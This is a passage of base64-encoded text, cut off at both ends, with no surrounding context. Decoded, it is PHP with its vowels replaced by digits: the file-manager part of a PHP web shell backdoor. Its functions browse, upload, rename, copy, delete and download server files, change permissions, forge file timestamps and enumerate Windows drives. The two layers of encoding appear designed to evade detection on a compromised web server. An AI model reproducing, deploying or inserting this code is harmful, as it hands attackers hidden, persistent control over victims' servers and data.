SAkbjJ3cDF0aC4kbjV3ZjRsNW4xbTU7DQoJCTRmIChmNGw1XzV4NHN0cygkbm4xbTUpIHx8ICFmNGw1XzV4NHN0cygkMmxkbjFtNSkpIHsNCgkJCW0oJG5uMW01LicgaDFzIDFscjUxZHkgNXg0c3Q1ZCAyciAycjRnNG4xbCBmNGw1IGQyNXMgbjJ0IDV4NHN0Jyk7DQoJCX0gNWxzNSB7DQoJCQltKGIxczVuMW01KCQybGRuMW01KS4nIHI1bjFtNWQgJy5iMXM1bjFtNSgkbm4xbTUpLihAcjVuMW01KCQybGRuMW01LCRubjFtNSkgPyAnIHMzY2M1c3MnIDogJ2YxNGw1ZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIEMycDMNCgk1bHM1NGYgKCRzbjFtNSAmJiAkdDJmNGw1KSB7DQoJCTRmIChmNGw1XzV4NHN0cygkdDJmNGw1KSB8fCAhZjRsNV81eDRzdHMoJHNuMW01KSkgew0KCQkJbSgnVGg1IGcyMWwgZjRsNSBoMXMgMWxyNTFkeSA1eDRzdDVkIDJyIDJyNGc0bjFsIGY0bDUgZDI1cyBuMnQgNXg0c3QnKTsNCgkJfSA1bHM1IHsNCgkJCW0oYjFzNW4xbTUoJHQyZjRsNSkuJyBjMnA0NWQgJy4oQGMycHkoJHNuMW01LCR0MmY0bDUpID8gYjFzNW4xbTUoJHQyZjRsNSkuJyBzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBGNGw1IDV4NHQNCgk1bHM1NGYgKCRjM3JmNGw1ICYmICR0MXJmNGw1KSB7DQoJCTRmICghQGY0bDVfNXg0c3RzKCRjM3JmNGw1KSB8fCAhQGY0bDVfNXg0c3RzKCR0MXJmNGw1KSkgew0KCQkJbSgnVGg1IGcyMWwgZjRsNSBoMXMgMWxyNTFkeSA1eDRzdDVkIDJyIDJyNGc0bjFsIGY0bDUgZDI1cyBuMnQgNXg0c3QnKTsNCgkJfSA1bHM1IHsNCgkJCSR0NG01ID0gQGY0bDVtdDRtNSgkdDFyZjRsNSk7DQoJCQltKCdNMmQ0ZnkgZjRsNSB0aDUgbDFzdCBtMmQ0ZjQ1ZCAnLihAdDIzY2goJGMzcmY0bDUsJHQ0bTUsJHQ0bTUpID8gJ3MzY2M1c3MnIDogJ2YxNGw1ZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIEQxdDUNCgk1bHM1NGYgKCRjM3JmNGw1ICYmICR5NTFyICYmICRtMm50aCAmJiAkZDF5ICYmICRoMjNyICYmICRtNG4zdDUgJiYgJHM1YzJuZCkgew0KCQk0ZiAoIUBmNGw1XzV4NHN0cygkYzNyZjRsNSkpIHsNCgkJCW0oYjFzNW4xbTUoJGMzcmY0bDUpLicgZDI1cyBuMnQgNXg0c3QnKTsNCgkJfSA1bHM1IHsNCgkJCSR0NG01ID0gc3RydDJ0NG01KCIkeTUxci0kbTJudGgtJGQxeSAkaDIzcjokbTRuM3Q1OiRzNWMybmQiKTsNCgkJCW0oJ00yZDRmeSBmNGw1IHRoNSBsMXN0IG0yZDRmNDVkICcuKEB0MjNjaCgkYzNyZjRsNSwkdDRtNSwkdDRtNSkgPyAnczNjYzVzcycgOiAnZjE0bDVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gRDJ3bmwyMWQNCgk1bHM1NGYoJGQyNG5nID09ICdkMnducjFyJykgew0KCQk0ZiAoJGRsKSB7DQoJCQkkZGY0bDVzPScnOw0KCQkJZjJyNTFjaCAoJGRsIDFzICRmNGw1cDF0aCA9PiAkdjFsMzUpIHsNCgkJCQkkZGY0bDVzLj0kZjRsNXAxdGguJywnOw0KCQkJfQ0KCQkJJGRmNGw1cz1zM2JzdHIoJGRmNGw1cywwLHN0cmw1bigkZGY0bDVzKS02KTsNCgkJCSRkbD01eHBsMmQ1KCcsJywkZGY0bDVzKTsNCgkJCSR6NHA9bjV3IFBIUFo0cCgkZGwpOw0KCQkJJGMyZDU9JHo0cC0+MjN0Ow0KCQkJaDUxZDVyKCdDMm50NW50LXR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScpOw0KCQkJaDUxZDVyKCdBY2M1cHQtUjFuZzVzOiBieXQ1cycpOw0KCQkJaDUxZDVyKCdBY2M1cHQtTDVuZ3RoOiAnLnN0cmw1bigkYzJkNSkpOw0KCQkJaDUxZDVyKCdDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50O2Y0bDVuMW01PScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRjRsNXMudDFyLmd6Jyk7DQoJCQk1Y2gyICRjMmQ1Ow0KCQkJNXg0dDsNCgkJfSA1bHM1IHsNCgkJCW0oJ1BsNTFzNSBzNWw1Y3QgZjRsNShzKScpOw0KCQl9DQoJfQ0KDQoJLy8gRDVsNXQ1IGY0bDUNCgk1bHM1NGYoJGQyNG5nID09ICdkNWxmNGw1cycpIHsNCgkJNGYgKCRkbCkgew0KCQkJJGRmNGw1cz0nJzsNCgkJCSRzM2NjID0gJGYxNGwgPSAwOw0KCQkJZjJyNTFjaCAoJGRsIDFzICRmNGw1cDF0aCA9PiAkdjFsMzUpIHsNCgkJCQk0ZiAoQDNubDRuaygkZjRsNXAxdGgpKSB7DQoJCQkJCSRzM2NjKys7DQoJCQkJfSA1bHM1IHsNCgkJCQkJJGYxNGwrKzsNCgkJCQl9DQoJCQl9DQoJCQltKCdENWw1dDVkIGY0bDUgaDF2NSBmNG40c2g1ZD8/Y2gyMnM1ICcuYzIzbnQoJGRsKS4nIHMzY2M1c3MgJy4kczNjYy4nIGYxNGwgJy4kZjE0bCk7DQoJCX0gNWxzNSB7DQoJCQltKCdQbDUxczUgczVsNWN0IGY0bDUocyknKTsNCgkJfQ0KCX0NCg0KCS8vIEYzbmN0NDJuIE41d2Q0cg0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J2NyNTF0NWQ0cicpKTsNCgltMWs1aDRkNSgnbjV3ZDRybjFtNScpOw0KCW0xazVoNGQ1KCdkNHInLCRuMndwMXRoKTsNCglmMnJtZjIydCgpOw0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J2Y0bDVwNXJtJykpOw0KCW0xazVoNGQ1KCduNXdwNXJtJyk7DQoJbTFrNWg0ZDUoJ3BmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJG4yd3AxdGgpOw0KCWYycm1mMjJ0KCk7DQoJZjJybWg1MWQoMXJyMXkoJ24xbTUnPT4nYzJweWY0bDUnKSk7DQoJbTFrNWg0ZDUoJ3NuMW01Jyk7DQoJbTFrNWg0ZDUoJ3QyZjRsNScpOw0KCW0xazVoNGQ1KCdkNHInLCRuMndwMXRoKTsNCglmMnJtZjIydCgpOw0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J3I1bjFtNScpKTsNCgltMWs1aDRkNSgnMmxkbjFtNScpOw0KCW0xazVoNGQ1KCduNXdmNGw1bjFtNScpOw0KCW0xazVoNGQ1KCdkNHInLCRuMndwMXRoKTsNCglmMnJtZjIydCgpOw0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J2Y0bDUycGYycm0nKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicpOw0KCW0xazVoNGQ1KCcycGY0bDUnKTsNCgltMWs1aDRkNSgnZDRyJyk7DQoJZjJybWYyMnQoKTsNCg0KCSRmcjU1ID0gQGQ0c2tfZnI1NV9zcDFjNSgkbjJ3cDF0aCk7DQoJISRmcjU1ICYmICRmcjU1ID0gMDsNCgkkMWxsID0gQGQ0c2tfdDJ0MWxfc3AxYzUoJG4yd3AxdGgpOw0KCSEkMWxsICYmICQxbGwgPSAwOw0KCSQzczVkID0gJDFsbC0kZnI1NTsNCgkkM3M1ZF9wNXJjNW50ID0gQHIyM25kKDYwMC8oJDFsbC8kZnI1NSksYSk7DQoJcCgnPGYybnQgYzJsMnI9eTVsbDJ3IGYxYzU9dDFoMm0xIHM0ejU9YT48Qj5GNGw1IE0xbjFnNXI8L2I+IDwvZjJudD4gQzNycjVudCBkNHNrIGZyNTUgPGYybnQgYzJsMnI9cjVkPicuczR6NWMyM250KCRmcjU1KS4nPC9mMm50PiAyZiA8ZjJudCBjMmwycj1yNWQ+Jy5zNHo1YzIzbnQoJDFsbCkuJzwvZjJudD4gKDxmMm50IGMybDJyPXI1ZD4nLiQzczVkX3A1cmM1bnQuJzwvZjJudD4lKTwvZjJudD4nKTsNCg0KPz4NCg0KPHQxYmw1IHc0ZHRoPSI2MDAlIiBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSIwIiBjNWxsc3AxYzRuZz0iMCIgc3R5bDU9Im0xcmc0bjo2MHB4IDA7Ij4NCiAgPGYycm0gMWN0NDJuPSIiIG01dGgyZD0icDJzdCIgNGQ9ImcyZDRyIiBuMW01PSJnMmQ0ciI+DQogIDx0cj4NCiAgICA8dGQgbjJ3cjFwPkMzcnI1bnQgRDRyNWN0MnJ5ICg8P3BocCA1Y2gyICRkNHJfd3I0dDUxYmw1Oz8+LCA8P3BocCA1Y2gyIGc1dENobTJkKCRuMndwMXRoKTs/Pik8L3RkPg0KCTx0ZCB3NGR0aD0iNjAwJSI+PDRucDN0IG4xbTU9InY0NXdfd3I0dDFibDUiIHYxbDM1PSIwIiB0eXA1PSJoNGRkNW4iIC8+PDRucDN0IGNsMXNzPSI0bnAzdCIgbjFtNT0iZDRyIiB2MWwzNT0iPD9waHAgNWNoMiAkbjJ3cDF0aDs/PiIgdHlwNT0idDV4dCIgc3R5bDU9Inc0ZHRoOjYwMCU7bTFyZzRuOjAgOHB4OyI+PC90ZD4NCiAgICA8dGQgbjJ3cjFwPjw0bnAzdCBjbDFzcz0iYnQiIHYxbDM1PSJHTyIgdHlwNT0iczNibTR0Ij48L3RkPg0KICA8L3RyPg0KICA8L2Yycm0+DQoNCjwvdDFibDU+DQo8c2NyNHB0IHR5cDU9InQ1eHQvajF2MXNjcjRwdCI+DQpmM25jdDQybiBjcjUxdDVkNHIoKXsNCgl2MXIgbjV3ZDRybjFtNTsNCgluNXdkNHJuMW01ID0gcHIybXB0KCdQbDUxczUgNG5wM3QgdGg1IGQ0cjVjdDJyeSBuMW01OicsICcnKTsNCgk0ZiAoIW41d2Q0cm4xbTUpIHI1dDNybjsNCgkkKCdjcjUxdDVkNHInKS5uNXdkNHJuMW01LnYxbDM1PW41d2Q0cm4xbTU7DQoJJCgnY3I1MXQ1ZDRyJykuczNibTR0KCk7DQp9DQpmM25jdDQybiBmNGw1cDVybShwZjRsNSl7DQoJdjFyIG41d3A1cm07DQoJbjV3cDVybSA9IHByMm1wdCgnQzNycjVudCBmNGw1OicrcGY0bDUrJ1xuUGw1MXM1IDRucDN0IG41dyAxdHRyNGIzdDU6JywgJycpOw0KCTRmICghbjV3cDVybSkgcjV0M3JuOw0KCSQoJ2Y0bDVwNXJtJykubjV3cDVybS52MWwzNT1uNXdwNXJtOw0KCSQoJ2Y0bDVwNXJtJykucGY0bDUudjFsMzU9cGY0bDU7DQoJJCgnZjRsNXA1cm0nKS5zM2JtNHQoKTsNCn0NCmYzbmN0NDJuIGMycHlmNGw1KHNuMW01KXsNCgl2MXIgdDJmNGw1Ow0KCXQyZjRsNSA9IHByMm1wdCgnT3I0ZzRuMWwgZjRsNTonK3NuMW01KydcblBsNTFzNSA0bnAzdCAyYmo1Y3QgZjRsNSAoZjNsbHAxdGgpOicsICcnKTsNCgk0ZiAoIXQyZjRsNSkgcjV0M3JuOw0KCSQoJ2MycHlmNGw1JykudDJmNGw1LnYxbDM1PXQyZjRsNTsNCgkkKCdjMnB5ZjRsNScpLnNuMW01LnYxbDM1PXNuMW01Ow0KCSQoJ2MycHlmNGw1JykuczNibTR0KCk7DQp9DQpmM25jdDQybiByNW4xbTUoMmxkbjFtNSl7DQoJdjFyIG41d2Y0bDVuMW01Ow0KCW41d2Y0bDVuMW01ID0gcHIybXB0KCdGMnJtNXIgZjRsNSBuMW01OicrMmxkbjFtNSsnXG5QbDUxczUgNG5wM3QgbjV3IGY0bDVuMW01OicsICcnKTsNCgk0ZiAoIW41d2Y0bDVuMW01KSByNXQzcm47DQoJJCgncjVuMW01JykubjV3ZjRsNW4xbTUudjFsMzU9bjV3ZjRsNW4xbTU7DQoJJCgncjVuMW01JykuMmxkbjFtNS52MWwzNT0ybGRuMW01Ow0KCSQoJ3I1bjFtNScpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gZDJmNGw1KGQyNG5nLHRoNWY0bDUsbSl7DQoJNGYgKG0gJiYgIWMybmY0cm0obSkpIHsNCgkJcjV0M3JuOw0KCX0NCgkkKCdmNGw1bDRzdCcpLmQyNG5nLnYxbDM1PWQyNG5nOw0KCTRmICh0aDVmNGw1KXsNCgkJJCgnZjRsNWw0c3QnKS50aDVmNGw1LnYxbDM1PXRoNWY0bDU7DQoJfQ0KCSQoJ2Y0bDVsNHN0JykuczNibTR0KCk7DQp9DQpmM25jdDQybiBjcjUxdDVmNGw1KG4yd3AxdGgpew0KCXYxciBmNGw1bjFtNTsNCglmNGw1bjFtNSA9IHByMm1wdCgnUGw1MXM1IDRucDN0IHRoNSBmNGw1IG4xbTU6JywgJycpOw0KCTRmICghZjRsNW4xbTUpIHI1dDNybjsNCgkycGY0bDUoJzVkNHRmNGw1JyxuMndwMXRoICsgZjRsNW4xbTUsbjJ3cDF0aCk7DQp9DQpmM25jdDQybiAycGY0bDUoMWN0NDJuLDJwZjRsNSxkNHIpew0KCSQoJ2Y0bDUycGYycm0nKS4xY3Q0Mm4udjFsMzU9MWN0NDJuOw0KCSQoJ2Y0bDUycGYycm0nKS4ycGY0bDUudjFsMzU9MnBmNGw1Ow0KCSQoJ2Y0bDUycGYycm0nKS5kNHIudjFsMzU9ZDRyOw0KCSQoJ2Y0bDUycGYycm0nKS5zM2JtNHQoKTsNCn0NCmYzbmN0NDJuIGcyZDRyKGQ0cix2NDV3X3dyNHQxYmw1KXsNCgk0ZiAodjQ1d193cjR0MWJsNSkgew0KCQkkKCdnMmQ0cicpLnY0NXdfd3I0dDFibDUudjFsMzU9NjsNCgl9DQoJJCgnZzJkNHInKS5kNHIudjFsMzU9ZDRyOw0KCSQoJ2cyZDRyJykuczNibTR0KCk7DQp9DQo8L3NjcjRwdD4NCiAgPD9waHANCgl0Ymg1MWQoKTsNCglwKCc8ZjJybSAxY3Q0Mm49IicuJHM1bGYuJyIgbTV0aDJkPSJQT1NUIiA1bmN0eXA1PSJtM2x0NHAxcnQvZjJybS1kMXQxIj48dHIgY2wxc3M9IjFsdDYiPjx0ZCBjMmxzcDFuPSI3IiBzdHlsNT0icDFkZDRuZzppcHg7Ij4nKTsNCglwKCc8ZDR2IHN0eWw1PSJmbDIxdDpyNGdodDsiPjw0bnAzdCBjbDFzcz0iNG5wM3QiIG4xbTU9IjNwbDIxZGY0bDUiIHYxbDM1PSIiIHR5cDU9ImY0bDUiIC8+IDw0bnAzdCBjbDFzcz0iIiBuMW01PSJkMjNwZjRsNSIgdjFsMzU9IlVwbDIxZCIgdHlwNT0iczNibTR0IiAvPjw0bnAzdCBuMW01PSIzcGwyMWRkNHIiIHYxbDM1PSInLiRkNHIuJyIgdHlwNT0iaDRkZDVuIiAvPjw0bnAzdCBuMW01PSJkNHIiIHYxbDM1PSInLiRkNHIuJyIgdHlwNT0iaDRkZDVuIiAvPjwvZDR2PicpOw0KCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzJkNHIoXCcnLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJ1wnKTsiPlc1YlIyMnQ8LzE+Jyk7DQoJNGYgKCR2NDV3X3dyNHQxYmw1KSB7DQoJCXAoJyB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzJkNHIoXCcnLiRuMndwMXRoLidcJyk7Ij5WNDV3IEFsbDwvMT4nKTsNCgl9IDVsczUgew0KCQlwKCcgfCA8MSBocjVmPSJqMXYxc2NyNHB0OmcyZDRyKFwnJy4kbjJ3cDF0aC4nXCcsXCc2XCcpOyI+VjQ1dyBXcjR0MWJsNTwvMT4nKTsNCgl9DQoJcCgnIHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpjcjUxdDVkNHIoKTsiPkNyNTF0NSBENHI1Y3Qycnk8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpjcjUxdDVmNGw1KFwnJy4kbjJ3cDF0aC4nXCcpOyI+Q3I1MXQ1IEY0bDU8LzE+Jyk7DQoJNGYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJJDJiaiA9IG41dyBDT00oJ3NjcjRwdDRuZy5mNGw1c3lzdDVtMmJqNWN0Jyk7DQoJCTRmICgkMmJqICYmIDRzXzJiajVjdCgkMmJqKSkgew0KCQkJJERyNHY1VHlwNURCID0gMXJyMXkoMCA9PiAnVW5rbjJ3Jyw2ID0+ICdSNW0ydjFibDUnLGEgPT4gJ0Y0eDVkJyxvID0+ICdONXR3MnJrJyx1ID0+ICdDRFIybScsaSA9PiAnUkFNIEQ0c2snKTsNCgkJCWYycjUxY2goJDJiai0+RHI0djVzIDFzICRkcjR2NSkgew0KCQkJCTRmICgkZHI0djUtPkRyNHY1VHlwNSA9PSBhKSB7DQoJCQkJCXAoJyB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzJkNHIoXCcnLiRkcjR2NS0+UDF0aC4nL1wnKTsiIHQ0dGw1PSJTNHo1OicuczR6NWMyM250KCRkcjR2NS0+VDJ0MWxTNHo1KS4nJiM2bztGcjU1OicuczR6NWMyM250KCRkcjR2NS0+RnI1NVNwMWM1KS4nJiM2bztUeXA1OicuJERyNHY1VHlwNURCWyRkcjR2NS0+RHI0djVUeXA1XS4nIj4nLiREcjR2NVR5cDVEQlskZHI0djUtPkRyNHY1VHlwNV0uJygnLiRkcjR2NS0+UDF0aC4nKTwvMT4nKTsNCgkJCQl9IDVsczUgew0KCQkJCQlwKCcgfCA8MSBocjVmPSJqMXYxc2NyNHB0OmcyZDRyKFwnJy4kZHI0djUtPlAxdGguJy9cJyk7IiB0NHRsNT0iVHlwNTonLiREcjR2NVR5cDVEQlskZHI0djUtPkRyNHY1VHlwNV0uJyI+Jy4kRHI0djVUeXA1REJbJGRyNHY1LT5EcjR2NVR5cDVdLicoJy4kZHI0djUtPlAxdGguJyk8LzE+Jyk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPC90ZD48L3RyPjwvZjJybT4nKTsNCg0KCXAoJzx0ciBjbDFzcz0iaDUxZCI+PHRkPiZuYnNwOzwvdGQ+PHRkPkY0bDVuMW01PC90ZD48dGQgdzRkdGg9IjZlJSI+TDFzdCBtMmQ0ZjQ1ZDwvdGQ+PHRkIHc0ZHRoPSI2MCUiPlM0ejU8L3RkPjx0ZCB3NGR0aD0iYTAlIj5DaG0yZCAvIFA1cm1zPC90ZD48dGQgdzRkdGg9ImFhJSI+QWN0NDJuPC90ZD48L3RyPicpOw0KDQoJLy8gRzV0IHAxdGgNCgkkZDRyZDF0MT0xcnIxeSgpOw0KCSRmNGw1ZDF0MT0xcnIxeSgpOw0KDQoJNGYgKCR2NDV3X3dyNHQxYmw1KSB7DQoJCSRkNHJkMXQxID0gRzV0TDRzdCgkbjJ3cDF0aCk7DQoJfSA1bHM1IHsNCgkJLy8gT3A1biBkNHINCgkJJGQ0cnM9QDJwNW5kNHIoJGQ0cik7DQoJCXdoNGw1ICgkZjRsNT1AcjUxZGQ0cigkZDRycykpIHsNCgkJCSRmNGw1cDF0aD0kbjJ3cDF0aC4kZjRsNTsNCgkJCTRmKEA0c19kNHIoJGY0bDVwMXRoKSl7DQoJCQkJJGQ0cmRiWydmNGw1bjFtNSddPSRmNGw1Ow0KCQkJCSRkNHJkYlsnbXQ0bTUnXT1AZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVtdDRtNSgkZjRsNXAxdGgpKTsNCgkJCQkkZDRyZGJbJ2Q0cmNobTJkJ109ZzV0Q2htMmQoJGY0bDVwMXRoKTsNCgkJCQkkZDRyZGJbJ2Q0cnA1cm0nXT1nNXRQNXJtcygkZjRsNXAxdGgpOw0KCQkJCSRkNHJkYlsnZjRsNTJ3bjVyJ109ZzV0VXM1cigkZjRsNXAxdGgpOw0KCQkJCSRkNHJkYlsnZDRybDRuayddPSRuMndwMXRoOw0KCQkJCSRkNHJkYlsnczVydjVyX2w0bmsnXT0kZjRsNXAxdGg7DQoJCQkJJGQ0cmRiWydjbDQ1bnRfbDRuayddPTM1KCRmNGw1cDF0aCk7DQoJCQkJJGQ0cmQxdDFbXT0kZDRyZGI7DQoJCQl9IDVsczUgew0KCQkJCSRmNGw1ZGJbJ2Y0bDVuMW01J109JGY0bDU7DQoJCQkJJGY0bDVkYlsnczR6NSddPXM0ejVjMjNudChAZjRsNXM0ejUoJGY0bDVwMXRoKSk7DQoJCQkJJGY0bDVkYlsnbXQ0bTUnXT1AZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVtdDRtNSgkZjRsNXAxdGgpKTsNCgkJCQkkZjRsNWRiWydmNGw1Y2htMmQnXT1nNXRDaG0yZCgkZjRsNXAxdGgpOw0KCQkJCSRmNGw1ZGJbJ2Y0bDVwNXJtJ109ZzV0UDVybXMoJGY0bDVwMXRoKTsNCgkJCQkkZjRsNWRiWydmNGw1MnduNXInXT1nNXRVczVyKCRmNGw1cDF0aCk7DQoJCQkJJGY0bDVkYlsnZDRybDRuayddPSRuMndwMXRoOw0KCQkJCSRmNGw1ZGJbJ3M1cnY1cl9sNG5rJ109JGY0bDVwMXRoOw0KCQkJCSRmNGw1ZGJbJ2NsNDVudF9sNG5rJ109MzUoJGY0bDVwMXRoKTsNCgkJCQkkZjRsNWQxdDFbXT0kZjRsNWRiOw0KCQkJfQ0KCQl9Ly8gd2g0bDUNCgkJM25zNXQoJGQ0cmRiKTsNCgkJM25zNXQoJGY0bDVkYik7DQoJCUBjbDJzNWQ0cigkZDRycyk7DQoJfQ0KCUBzMnJ0KCRkNHJkMXQxKTsNCglAczJydCgkZjRsNWQxdDEpOw0KCSRkNHJfNCA9ICcwJzsNCglmMnI1MWNoKCRkNHJkMXQxIDFzICRrNXkgPT4gJGQ0cmRiKXsNCgkJNGYoJGQ0cmRiWydmNGw1bjFtNSddIT0nLi4nICYmICRkNHJkYlsnZjRsNW4xbTUnXSE9Jy4nKSB7DQoJCQkkdGg0c2JnID0gYmcoKTsNCgkJCXAoJzx0ciBjbDFzcz0iZjIzdCIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnZjIzdFwnOyI+Jyk7DQoJCQlwKCc8dGQgdzRkdGg9ImElIiBuMndyMXA+PGYybnQgZjFjNT0idzRuZ2Q0bmdzIiBzNHo1PSJvIj4wPC9mMm50PjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PDEgaHI1Zj0iajF2MXNjcjRwdDpnMmQ0cihcJycuJGQ0cmRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRkNHJkYlsnZjRsNW4xbTUnXS4nPC8xPjwvdGQ+Jyk7DQoJCQlwKCc8dGQgbjJ3cjFwPicuJGQ0cmRiWydtdDRtNSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD4tLTwvdGQ+Jyk7DQoJCQlwKCc8dGQgbjJ3cjFwPicpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpmNGw1cDVybShcJycuJGQ0cmRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRkNHJkYlsnZDRyY2htMmQnXS4nPC8xPiAvICcpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpmNGw1cDVybShcJycuJGQ0cmRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRkNHJkYlsnZDRycDVybSddLic8LzE+Jy4kZDRyZGJbJ2Y0bDUyd241ciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD48MSBocjVmPSJqMXYxc2NyNHB0OmQyZjRsNShcJ2Q1bGQ0clwnLFwnJy4kZDRyZGJbJ3M1cnY1cl9sNG5rJ10uJ1wnLFwnQXI1IHkyMyBzM3I1IHc0bGwgZDVsNXQ1ICcuJGQ0cmRiWydmNGw1bjFtNSddLic/IFxcblxcbklmIG4ybi01bXB0eSBkNHI1Y3QycnksIHc0bGwgYjUgZDVsNXQ1IDFsbCB0aDUgZjRsNXMuXCcpIj5ENWw8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpyNW4xbTUoXCcnLiRkNHJkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+UjVuMW01PC8xPjwvdGQ+Jyk7DQoJCQlwKCc8L3RyPicpOw0KCQkJJGQ0cl80Kys7DQoJCX0gNWxzNSB7DQoJCQk0ZigkZDRyZGJbJ2Y0bDVuMW01J109PScuLicpIHsNCgkJCQlwKCc8dHIgY2wxc3M9ZjIzdD4nKTsNCgkJCQlwKCc8dGQgMWw0Z249ImM1bnQ1ciI+PGYybnQgZjFjNT0iVzRuZ2Q0bmdzIG8iIHM0ejU9dT49PC9mMm50PjwvdGQ+PHRkIG4yd3IxcCBjMmxzcDFuPSJpIj48MSBocjVmPSJqMXYxc2NyNHB0OmcyZDRyKFwnJy5nNXRVcFAxdGgoJG4yd3AxdGgpLidcJyk7Ij5QMXI1bnQgRDRyNWN0MnJ5PC8xPjwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCXAoJzx0ciBiZ2MybDJyPSJncjU1biIgc3RseTU9ImIycmQ1ci10MnA6NnB4IHMybDRkIGdyMXk7YjJyZDVyLWIydHQybTo2cHggczJsNGQgZ3IxeTsiPjx0ZCBjMmxzcDFuPSJlIiBoNTRnaHQ9ImkiPjwvdGQ+PC90cj4nKTsNCglwKCc8ZjJybSA0ZD0iZjRsNWw0c3QiIG4xbTU9ImY0bDVsNHN0IiAxY3Q0Mm49IicuJHM1bGYuJyIgbTV0aDJkPSJwMnN0Ij4nKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnZjRsNScpOw0KCW0xazVoNGQ1KCd0aDVmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2QyNG5nJyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJG4yd3AxdGgpOw0KCSRmNGw1XzQgPSAnMCc7DQoJZjJyNTFjaCgkZjRsNWQxdDEgMXMgJGs1eSA9PiAkZjRsNWRiKXsNCgkJNGYoJGY0bDVkYlsnZjRsNW4xbTUnXSE9Jy4uJyAmJiAkZjRsNWRiWydmNGw1bjFtNSddIT0nLicpIHsNCgkJCSRmNGw1M3JsID0gc3RyX3I1cGwxYzUoU0FfUk9PVCwnJywkZjRsNWRiWydzNXJ2NXJfbDRuayddKTsNCgkJCSR0aDRzYmcgPSBiZygpOw0KCQkJcCgnPHRyIGNsMXNzPSJmMjN0IiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCdmMjN0XCc7Ij4nKTsNCgkJCXAoJzx0ZCB3NGR0aD0iYSUiIG4yd3IxcD48NG5wM3QgdHlwNT0iY2g1Y2tiMngiIHYxbDM1PSI2IiBuMW01PSJkbFsnLiRmNGw1ZGJbJ3M1cnY1cl9sNG5rJ10uJ10iPjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PDEgaHI1Zj0iJy4kZjRsNTNybC4nIiB0MXJnNXQ9Il9ibDFuayI+Jy4kZjRsNWRiWydmNGw1bjFtNSddLic8LzE+PC90ZD4nKTsNCgkJCXAoJzx0ZCBuMndyMXA+Jy4kZjRsNWRiWydtdDRtNSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD4nLiRmNGw1ZGJbJ3M0ejUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBuMndyMXA+Jyk7DQoJCQlwKCc8MSBocjVmPSJqMXYxc2NyNHB0OmY0bDVwNXJtKFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRmNGw1ZGJbJ2Y0bDVjaG0yZCddLic8LzE+IC8gJyk7DQoJCQlwKCc8MSBocjVmPSJqMXYxc2NyNHB0OmY0bDVwNXJtKFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRmNGw1ZGJbJ2Y0bDVwNXJtJ10uJzwvMT4nLiRmNGw1ZGJbJ2Y0bDUyd241ciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD4nKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6ZDJmNGw1KFwnZDJ3bmY0bDVcJyxcJycuJGY0bDVkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+RDJ3bjwvMT4gfCAnKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6YzJweWY0bDUoXCcnLiRmNGw1ZGJbJ3M1cnY1cl9sNG5rJ10uJ1wnKTsiPkMycHk8LzE+IHwgJyk7DQoJCQlwKCc8MSBocjVmPSJqMXYxc2NyNHB0OjJwZjRsNShcJzVkNHRmNGw1XCcsXCcnLiRmNGw1ZGJbJ3M1cnY1cl9sNG5rJ10uJ1wnLFwnJy4kZjRsNWRiWydkNHJsNG5rJ10uJ1wnKTsiPkVkNHQ8LzE+IHwgJyk7DQoJCQlwKCc8MSBocjVmPSJqMXYxc2NyNHB0OnI1bjFtNShcJycuJGY0bDVkYlsnczVydjVyX2w0bmsnXS4nXCcpO